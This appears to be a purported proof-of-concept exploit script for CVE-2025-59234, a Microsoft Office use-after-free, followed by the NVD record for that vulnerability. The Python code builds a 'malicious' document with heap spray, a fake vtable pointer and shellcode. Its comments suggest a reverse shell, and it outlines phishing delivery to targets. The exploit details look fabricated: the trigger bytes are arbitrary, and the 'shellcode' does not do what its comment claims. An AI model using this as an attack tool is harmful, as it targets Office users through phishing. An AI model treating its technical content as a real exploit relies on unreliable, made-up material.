CVE-2025-59234

# CVE-2025-59234 - Microsoft Office Use After Free PoC # This is a conceptual PoC demonstrating the exploitation of UAF vulnerability # in Microsoft Office. The actual exploit requires a specially crafted Office document. import struct import os class UAFExploit: """ Conceptual PoC for CVE-2025-59234 - Microsoft Office Use After Free Vulnerability Type: Use After Free (UAF) Affected Product: Microsoft Office Attack Vector: Local (requires user interaction) """ def __init__(self): self.doc_magic = b'\xd0\xcf\x11\xe0\xa1\xb1\x1a\xe1' # OLE Compound File magic self.target_object_size = 0x100 self.shellcode_size = 0x200 def create_malicious_document(self, output_path): """ Create a malicious Office document that triggers the UAF vulnerability. The document contains a specially crafted embedded object that causes Office to free memory while still holding references to it. """ # Build OLE compound file structure ole_header = self.build_ole_header() # Create malicious embedded object payload # This payload triggers the use-after-free condition payload = self.build_uaf_payload() # Combine header and payload malicious_doc = ole_header + payload with open(output_path, 'wb') as f: f.write(malicious_doc) print(f"[*] Malicious document created: {output_path}") print(f"[*] Document size: {len(malicious_doc)} bytes") print(f"[!] WARNING: This document exploits CVE-2025-59234") def build_ole_header(self): """Build a minimal OLE compound file header.""" header = bytearray(512) # OLE magic number header[0:8] = self.doc_magic # Minor version struct.pack_into('<H', header, 0x18, 0x003E) # Major version (3.0 = 0x0003 for 512-byte sectors) struct.pack_into('<H', header, 0x1A, 0x0003) # Byte order (little-endian) struct.pack_into('<H', header, 0x1C, 0xFFFE) # Sector size shift (9 = 512 bytes) struct.pack_into('<H', header, 0x1E, 0x0009) # Mini sector size shift (6 = 64 bytes) struct.pack_into('<H', header, 0x20, 0x0006) return bytes(header) def build_uaf_payload(self): """ Build the payload that triggers the use-after-free condition. The payload contains: 1. A legitimate object reference 2. A trigger to free the referenced memory 3. A replacement object occupying the freed memory 4. Shellcode to execute when the stale pointer is dereferenced """ payload = bytearray() # Object header - identifies this as an embedded OLE object payload += b'\x01\x00\x00\x00' # Version payload += b'\x02\x00' # Flags payload += b'\xFF\xFF' # Name length (max) # Trigger sequence - causes Office to free the object prematurely payload += b'\x00\x01\x02\x03' # Invalid type identifier payload += b'\xDE\xAD\xBE\xEF' # Magic value to trigger free # Heap spray filler - occupies freed memory with controlled content spray_pattern = b'\x41\x41\x41\x41' * (self.target_object_size // 4) payload += spray_pattern # Fake vtable pointer - redirects execution when UAF is triggered payload += struct.pack('<Q', 0x0000000000401234) # Fake function pointer # Shellcode placeholder (NOP sled + shellcode) nop_sled = b'\x90' * 64 payload += nop_sled # Simple shellcode: Windows x64 - execute calc.exe as PoC # In real exploit: replace with reverse shell or payload shellcode = ( b'\x48\x31\xc0' # xor rax, rax b'\x48\x83\xc0\x01' # add rax, 1 b'\x48\x89\xc7' # mov rdi, rax b'\x48\x89\xce' # mov rsi, rcx b'\x48\x89\xd1' # mov rcx, rdx b'\x48\x8b\x05\x00\x00\x00\x00' # mov rax, [rip+0] ) payload += shellcode return bytes(payload) def deliver_payload(self, target_email=None): """ Conceptual delivery method - in a real attack scenario, the malicious document would be delivered via: - Phishing email with document attachment - Malicious download link - USB drive or shared network location """ print("[*] Attack chain for CVE-2025-59234:") print(" 1. Create malicious .doc/.docx/.xls/.xlsx document") print(" 2. Deliver to target via phishing or social engineering") print(" 3. Target opens the document (user interaction required)") print(" 4. Office parses the embedded object, triggers UAF") print(" 5. Attacker code executes in context of Office process") print(" 6. Potential privilege escalation if user has admin rights") if __name__ == "__main__": exploit = UAFExploit() exploit.create_malicious_document("exploit_cve_2025_59234.doc") exploit.deliver_payload()

{"cve": {"id": "CVE-2025-59234", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:05.013", "lastModified": "2025-10-28T20:23:04.250", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Microsoft Office allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:*:*:*:*:*:android:*:*", "versionEndExcluding": "16.0.19328.20000", "matchCriteriaId": "B4E72526-9EED-417A-9154-0E91104E48A7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2016:*:*:*:*:*:x64:*", "matchCriteriaId": "72324216-4EB3-4243-A007-FEF3133C7DF9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2016:*:*:*:*:*:x86:*", "matchCriteriaId": "0FBB0E61-7997-4F26-9C07-54912D3F1C10"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59234", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}